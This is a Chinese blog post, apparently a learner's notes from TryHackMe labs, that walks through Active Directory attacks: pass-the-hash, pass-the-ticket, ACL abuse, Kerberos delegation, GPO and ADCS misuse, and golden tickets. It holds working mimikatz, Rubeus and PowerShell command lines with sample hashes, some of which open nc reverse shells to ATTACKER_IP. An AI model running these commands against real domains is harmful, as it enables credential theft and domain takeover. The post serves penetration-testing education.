AD学习记录（中）
2023-4-4 13:36:44 Author: 星冥安全(查看原文) 阅读量:11 收藏

在正式学习AD利用之前还需要简单回忆一下关于AD认证的知识，帮助大家加深对渗透和漏洞的理解，之后会讲解权限委派错误、kerberos委派、用户密码窃取、组策略对象、AD证书服务的错误配置，最后简单讲解总结一下域内热门漏洞，帮助大家进一步扩展学习。

NetNTLM authentication

  1. 客户端对服务发起认证请求

  2. 服务返回一个名字叫做challenge的随机数

  3. 客户端拿到challenge，用自己本地的ntml hash加上它生成response发送给服务

  4. 服务把刚刚拿到的challenge和response给域控，让域控对比

  5. 域控本事存储了所有账户的ntml hash，拿到challenge计算对比一下就能判断认证是不是通过了

  6. 服务接受到来自域控的判断来确定要不要通过认证

注意：所描述的过程适用于使用域帐户的情况。如果使用本地帐户，服务器可以验证对质询的响应，而不需要与域控制器交互，因为它在其 SAM 上本地存储了密码哈希。

Pass-the-Hash

作为从我们获得管理权限的主机中提取凭据的结果（通过使用 mimikatz 或类似工具），我们可能会获得可以轻松破解的明文密码或哈希值。然而，不过一般，我们最终会得到未破解的 NTLM 密码哈希值。虽然看起来我们不能真正使用这些哈希值，但只要知道密码哈希值就可以响应身份验证期间发送的 NTLM 质询。这意味着我们可以在不需要知道明文密码的情况下进行身份验证。如果 Windows 域配置为使用 NTLM 身份验证，我们不必破解 NTLM 哈希，而是可以传递哈希 (PtH) 并成功进行身份验证。要提取 NTLM 哈希，我们可以使用 mimikatz 读取本地 SAM 或直接从 LSASS 内存中提取哈希。

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam   
RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 145e02c50333951f71d13c245d352b50

从 LSASS 内存中提取 NTLM 哈希,此方法将允许您为本地用户和最近登录计算机的任何域用户提取任何 NTLM 哈希。

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::msv 
Authentication Id : 0 ; 308124 (00000000:0004b39c)
Session           : RemoteInteractive from 2 
User Name         : bob.jenkins
Domain            : ZA
Logon Server      : THMDC
Logon Time        : 2022/04/22 09:55:02
SID               : S-1-5-21-3330634377-1326264276-632209373-4605
        msv :
         [00000003] Primary
         * Username : bob.jenkins
         * Domain   : ZA
         * NTLM     : 6b4a57f67805a663c818106dc0648484

然后，我们可以使用提取的哈希值执行 PTH 攻击，方法是使用 mimikatz 在反向 shell（或是任何其他命令）上为受害者用户注入访问令牌，如下所示：

mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"
psexec.py -hashes NTLM_HASH DOMAIN/[email protected]_IP
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH

还可以使用CS自带的mimikatz去启动一个新的powershell，之后执行窃取令牌任务横向。

hashdump
mimikatz sekurlsa::pth /user:Administrator /domain:. /ntlm:… /run:”powershell -w hidden”
steal_token 1234
shell dir \\TARGET\C$

https://www.cobaltstrike.com/blog/how-to-pass-the-hash-with-mimikatz/

Kerberos Authentication

  • 第一步，客户端发送由用户hash和时间生成的timestamp和username发送给KDC去申请TGT

  • 第二步，KDC利用 krbtgt 帐户加密TGT，TGT内部包含一个东西叫做Session Key，等会认证会用到

  • 第三步，客户端拿到TGT和要访问服务的SPN去请求KDC申请TGS

  • 第四步，KDC认证通过后会拿着服务的hash去加密TGS，把携带svc session key一起给客户端

  • 第五步,用TGS和向SRV发起认证请求，解密成功就通过认证。

Pass-the-Ticket

可以使用 mimikatz 从 LSASS 内存中提取 Kerberos 票证和会话密钥。该过程通常需要我们在被攻击机器上具有 SYSTEM 权限，可以按如下方式完成：

mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export

虽然 mimikatz 可以从 LSASS 进程的内存中提取任何可用的 TGT 或 TGS，但大多数时候，我们会对 TGT 感兴趣，因为它们可用于请求访问允许用户访问的任何服务。同时，TGS 仅适用于特定服务。提取 TGT 需要我们拥有管理员凭据，提取 TGS 可以使用低权限帐户（仅分配给该帐户的帐户）来完成。

一旦我们提取了所需的票证，我们就可以使用以下命令将票证注入当前会话

mimikatz # kerberos::ptt [0;427fcd5][email protected]

在我们自己的会话中注入票证不需要管理员权限。在此之后，门票将可用于我们用于横向移动的任何工具。要检查票证是否已正确注入，您可以使用 klist 命令：

za\[email protected] C:\> klist
Current LogonId is 0:0x1e43562
Cached Tickets: (1)
#0>     Client: Administrator @ ZA.TRYHACKME.COM
        Server: krbtgt/ZA.TRYHACKME.COM @ ZA.TRYHACKME.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 4/12/2022 0:28:35 (local)
        End Time:   4/12/2022 10:28:35 (local)
        Renew Time: 4/23/2022 0:28:35 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called: THMDC.za.tryhackme.com

Overpass-the-hash / Pass-the-Key

这种攻击类似于 PtH，但适用于 Kerberos 网络。当用户请求 TGT 时，他们会发送一个使用从其密码派生的加密密钥加密的时间戳。用于派生此密钥的算法可以是 DES（在当前 Windows 版本中默认禁用）、RC4、AES128 或 AES256，具体取决于安装的 Windows 版本和 Kerberos 配置。如果我们有这些密钥中的任何一个，我们就可以向 KDC 索要 TGT 而无需实际密码，因此称为密钥传递 (PtK)

mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

请注意，使用 RC4 时，密钥将等于用户的 NTLM 哈希。这意味着如果我们可以提取 NTLM 哈希，只要 RC4 是启用的协议之一，我们就可以使用它来请求 TGT。这种特殊的变体通常被称为 Overpass-the-Hash (OPtH)。

攻击手法

基于错误的ACL攻击

Active Directory 可以通过称为权限委派的功权限委托攻击通常称为基于 ACL 的攻击。AD 允许管理员配置填充自主访问控制列表 (DACL) 的访问控制条目 (ACE)，因此称为基于 ACL 的攻击。几乎任何 AD 对象都可以使用 ACE 进行保护，然后描述任何其他 AD 对象对目标对象的允许和拒绝权限。但是，如果这些 ACE 配置错误，攻击者可能会利用它们。让我们再看看我们的例子。如果 IT 支持团队被授予域用户组的 ForceChangePassword ACE，这将被认为是不安全的。当然，他们能够重置忘记密码的员工的密码，但这种错误配置将使他们还可以重置特权帐户的密码，例如本质上允许权限升级的域管理员组成员的帐户。

需要重点关注的ACE如下：

  • ForceChangePassword：强制改变当下的密码

  • AddMembers：可以对目标组添加用户（包括自己的账户）

  • GenericAll：完全控制对象，包括更改密码、注册SPN、添加AD对象到目标组里面

  • GenericWrite:更改目标写入参数，导致下次用户登录脚本就要执行

  • WriteOwne：更新目标对象的所有者，可以让自己成为所有者

  • WriteDACL：更新对面的DACL，将ACL写入对面实体，直接授予我们的账户对对象的完全控制权

  • AllExtendedRights：能够对目标对象执行与扩展 AD 权限相关的任何操作。例如，这包括强制更改用户密码的能力。

要寻找ACL的错误配置需要我们用bloodhound去收集好信息来分析，目前我们是普通的domin user，我们要翻阅一下node info，发现inbound executions rights有一个canRDP的权限，这意味着我们域用户可以登录THMWRK1机器，不过对我们提升权限这没什么用：

我们继续往下分析，看到outbound object control，点击去发现属于domain user有一个ACE可以控制IT SUPPORT组，这意味着我们可以把自己添加进这个组里面：

我们再继续分析，发现IT SUPPORT有权限改变属于Tier 2 Admins的用户的密码，这样问我们就要劫持该组的任意用户进入该组。

利用演示：

Add-ADGroupMember "IT Support" -Members "michael.cameron"
Get-ADGroupMember -Identity "IT Support"

获取用户名，找一个不顺眼的

Get-ADGroupMember -Identity "Tier 2 Admins"

选个用户，把它的密码改了

$Password = ConvertTo-SecureString "abc123???" -AsPlainText -Force 
Set-ADAccountPassword -Identity "t2_ross.bird" -Reset -NewPassword $Password

修改密码却发现自己没有权限，这是因为我们的权限还没同步到整个域内，这最多可能需要 10 分钟，如果要同步发生的更快，需要执行以下命令：

gpupdate /force

不过依然要等待一会，成功如下，我们可以拿账户密码之间登录了：

登录成功了

Kerberos委派

在域中如果出现A使用Kerberos身份验证访问域中的服务B，而B再利用A的身份去请求域中的服务C，这个过程就可以理解为委派。有两种委派，非约束委派（Unconstrained delegation）和约束委派（Constrained delegation），非约束委派在Kerberos中实现时，User会将从KDC处得到的TGT发送给访问的service1（可以是任意服务），service1拿到TGT之后可以通过TGT访问域内任意其他服务，所以被称为非约束委派。由于非约束委派的不安全性，微软在windows2003中发布了约束委派的功能。约束委派在Kerberos中User不会直接发送TGT给服务，而是对发送给service1的认证信息做了限制，不允许service1代表User使用这个TGT去访问其他服务。

可能你还是有点不太理解为什么要这么绕，其实是为了方便管理和安全性，如果有应用要跨域身份验证，可能需要将用户的身份验证和授权凭据传递给其他域。例如，在使用Single Sign-On（SSO）技术时，可能需要将用户的凭据传递给不同的域和应用。使用Kerberos委派，可以安全地将用户的凭据委派给其他域和应用，以便这些域和应用可以代表用户访问其他资源或服务。在一些复杂的应用中，可能会有多层应用需要进行身份验证和授权。例如，在使用企业级应用时，可能需要通过多个层次的中间件和服务进行身份验证和授权。使用Kerberos委派，可以将用户的凭据委托给每个层次的中间件和服务，以便这些中间件和服务可以代表用户访问其他资源或服务。

利用过程：

Import-Module C:\Tools\PowerView.ps1 
Get-NetUser -TrustedToAuth

PowerView枚举出来的结果，注意msds-allowedtodelegateto字段，告诉我们能委派到那个机器和能模拟的服务，HTTP和WSMAN都能使用powershell去管理，这意味着我们可以直接拿到shell

token::elevate
lsadump::secrets

我们拿到密码之后还需要使用一个名字叫做kekeo的工具，用它来生成TGT票据

tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:[email protected]

伪造 TGS 请求

tgs::s4u /tgt:[email protected][email protected] /user:t1_trevor.jones /service:http/THMSERVER1.za.tryhackme.loc

会站在当前目录生成票据，注意路径问题

利用mimikatz导入票据

privilege::debug
kerberos::ptt [email protected][email protected]
kerberos::ptt [email protected][email protected]

验证能不能成功导入，是否票据正常工作

klist

New-PSSession -ComputerName thmserver1.za.tryhackme.loc

Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc

AD用户行为利用

这部分内容比较简单，感觉和域没什么关系，就简单记录一下，我这里在刚刚的shell拉了个msf上线

现在我们要想办法解密这个kbdx的密码文件

我们现在是用户权限，就可以列出当前的系统进程的部分信息

ps

不过由于权限太高，要执行键盘记录器这种任务需要以普通用户允许，否则没有任何上下文给我们去窃取。

keyscan_start

稍等一会儿，拿到密码解开数据库

keyscan_dump

遗憾的是实验的失败的，压根没有能窃取的用户给我注入进程，我怀疑是公用的靶场，有些人把这个进程弄挂了。不过问题不大，和域没有太大关系，我们就假设我们拿到密码了吧（笑）。

组策略利用GPO

组策略经常出现配置错误，组策略管理 (GPM)，GPM 允许我们直接在 AD 结构上定义策略，而不是手动登录一台台机器，在每台机器上本地定义策略。要利用GPO也有很深的学问，现在简单演示来理解一下。

从图中我们可以知道我们现在控制的svcServMan可以修改组策略，这个组策略应用于thmserver2,正好是我们接下来要攻击的机器。

具体利用过程：

xfreerdp /v:thmwrk1.za.tryhackme.loc /u:svcServMan /p:[email protected]

这里我们用mmc进入编辑器，去file里面找到添加模块，是Group Policy Mangement的策略

找到这个GPO,修改它，点击这个edit，即可修改了

依次如图找到受限的组，在组里面把我们的IT支持组隶属于管理员和远程组

要等待一会，现在这个IT SUPPORT都有THMSERVER2管理员权限了

经过漫长的等待，总算是同步上来了，一直access is denied让我怀疑人生，起码等了半个小时，我一度开始怀疑自己是不是配置错了（苦笑）。

ADCS（证书模板配置错误）

这部分我用了两个不同的环境演示，帮助大家深入理解。

证书是什么？

我们通常只会想到最常见的证书，例如用于将网站流量升级为 HTTPS 的证书。但这些通常仅用于组织向互联网公开的应用程序。那么在内部网络上运行的所有这些应用程序呢，我们现在是否必须为他们提供 Internet 访问权限以允许他们从受信任的证书颁发机构 (CA) 请求证书。

AD CS 是 Microsoft 的公钥基础结构 (PKI) 实现。由于 AD 在组织中提供了一定程度的信任，因此它可以用作 CA 来证明和委托信任。AD CS 可用于多种用途，例如加密文件系统、创建和验证数字签名，甚至用户身份验证，这使其成为攻击者有前途的途径。使它成为更危险的攻击媒介的是，证书可以在凭证轮换中幸存下来，这意味着即使重置了受感染帐户的密码，也不会使恶意生成的证书无效，从而提供长达 10 年的持续凭证盗窃！

由于 AD CS 是一种特权功能，它通常在选定的域控制器上运行。这意味着普通用户无法真正直接与服务交互。另一方面，组织往往太大而无法让管理员手动创建和分发每个证书。这就是证书模板的用武之地。AD CS 的管理员可以创建多个模板，这些模板可以允许任何具有相关权限的用户自己申请证书。这些模板的参数说明哪个用户可以请求证书以及需要什么，这些参数的特定组合可能具有极大的毒性，并被滥用于特权提升和权限维持。

实际利用过程：

登录进来：

这里我们选中现在能控制的证书模板，修改它的属性

创建成功了

导出证书之后就可以用证书来请求TGT了，需要注意选择DC的ip需要选中运行证书服务器的域控，否则会报错：

.\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:AD.pfx /password:123456 /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:10.200.83.101

拿到TGT之后直接PASS过去

kerberos::ptt administrator.kirbi

成功打下DC，完全没问题

dir \\THMDC.za.tryhackme.loc\c$\

刚刚的靶机环境只有一个证书可以控制，所有没有告诉大家怎么发现这种错误配置的证书，现在回过来重新换一个环境仔细说明一下。

那么那些证书的实际能利用的？需要三个条件。我们先把证书信息导出来：

certutil -v -template > cert_templates.txt

我们要寻找的关键参数信息：

  1. Parameter 1: Relevant Permissions
    我们控制的账户，需要具有生成证书请求的权限才能使此漏洞发挥作用，又因为操作证书的特权一般分配给组，我们还需要搞清楚自己在域中控制了那些组。寻找Allow Enroll关键字，需要找到和我们组关联的模板，如果要查询自己控制的用户可以使用以下命令

    net user <youname> /domain

  1. Parameter 2: Client Authentication
    现在缩小了模板的范围，我们还需要找到一个关键字段EKU，EUK的属性如果设置了Client Authentication，有这个意味着该证书可用于 Kerberos 身份验证。

  2. Parameter 3: Client Specifies SAN
    最后，需要验证模板是否允许我们（证书客户端）指定主题备用名称(SAN)，CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT必须设置为1，msf今年6.3版本更新了自动化寻找错误的模块,大大简化了我们找错误配置的麻烦：

use auxiliary/gather/ldap_esc_vulnerable_cert_finder

以下是结果：

利用就如刚刚那样，去管理控制台生成一下证书就好了。

利用域之间的信任关系

域之间有信任关系，在复杂的域环境中存在者域树或者域森林，具体参考基于域信任关系的域攻击 - Geekby's Blog 都是比较容易的内容，我这里不再重复。

黄金票据：

我们通过mimikatz可以生成访问所有服务的TGT，这个TGT绕过了KDC，本质上成为了一个TGS，也就是黄金票据攻击，要伪造这个票据需要四个信息:

  • 域的FQDN

  • 域的SID

  • 伪造用户名，可以是任意的

  • KRBTGT 密码哈希

    lsadump::dcsync /user:za\krbtgt

域之间的黄金TGT（跨域黄金票据）

根据之前枚举的信息，找到分析选项卡，里面有map domain trusts，当下环境是存在双向信任关系的，我们可以之间制作一个特殊的TGT（Inter-Realm）来控制所有域下的服务器：

krbtgt导出hash

获取当前域的sid

Get-ADComputer -Identity "THMDC"

获取父域的管理员组sid

Get-ADGroup -Identity "Enterprise Admins" -Server thmrootdc.tryhackme.loc

要制作这种特殊的票据，就需要上面这两个东西

  • 子域的sid

  • 父域的管理员组sid

导入当前会话，验证票据有效性

kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:16f9af38fca3ada405386b3b57366082 /sids:S-1-5-21-3330634377-1326264276-632209373-519 /ptt
dir \\thmdc.za.tryhackme.loc\c$
dir \\thmrootdc.tryhackme.loc\c$\

域内热门漏洞

补充一下域内常用的漏洞和描述，鼓励大家去复现和学习如何使用：

  • Zerologon -- CVE-2020-1472 -- 一分钟利用算法置空域控机器账户密码导出全部hash

  • PrintNightmare -- CVE-2021-1675 / CVE-2021-34527 通杀RCE打下域控，偶尔失灵

  • ms14-068 -- 缺少对服务票据中用户SID的正确导致域沦陷

  • exchange相关的漏洞，exchange具备DCSync权限同步，几乎年年爆，大佬挖漏洞挖的比我学的还快

  • NoPAC -- 一个普通域账号接管域，通杀全版本windows

  • ADCS -- CVE-2022-26923 冒充域控机器账户实现权限提升

具体利用方式和其他思路请看https://github.com/JDArmy/DCSec ，这个项目去进一步学习，也有一份思维导图可以去参考参考https://github.com/NyDubh3/Pentesting-Active-Directory-CN ，进一步理解和精通可能要花上好长一段的时间。

最后

鸽了太久了，本来早就应该写完了，但是有些地方自己不满意改了不少，参考了不少资料发现有些大佬把简单的东西写的太复杂了，很容易让人抓不到重点，只能硬着头皮往下看了，我自己总结的话可能就尽可能不涉及具体细节了，有兴趣的师傅可以自行查阅相关资料。里面的技术还是要多实践，实际动手操作一下就能踩不少坑，学不少东西了，内网渗透下一篇权限维持我尽量抽空肝出来，有错误的地方麻烦大佬指点。吐槽一下先知的md，没法预览很难受，图片太多一个一个传太浪费时间了，想问问其他师傅是怎么把本地的图片传上来的？md直接复制的话好像是没办法自动上传图片的吧。

参考资料来源：

https://www.anquanke.com/post/id/173477
https://blog.noah.360.net/active-directory-certificate-services-attack-and-exploit/
https://tryhackme.com/room/exploitingad
浅析黄金票据与白银票据 - Shu1L's blog
https://www.rapid7.com/blog/post/2023/01/30/metasploit-framework-6-3-released/
https://github.com/JDArmy/DCSec
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodolo

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md

转载：https://xz.aliyun.com/t/12241#reply-19132作者：Endlessparadox

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxMDMwNDE2OQ==&mid=2247488153&idx=1&sn=7b2f6fe3f0892b3e02be25cbe450ddea&chksm=c12c245ff65bad4961fcdf69c9feee094699ea09815345ed6d97a833a176d58b31a54f8261a9#rd
如有侵权请联系:admin#unsafe.sh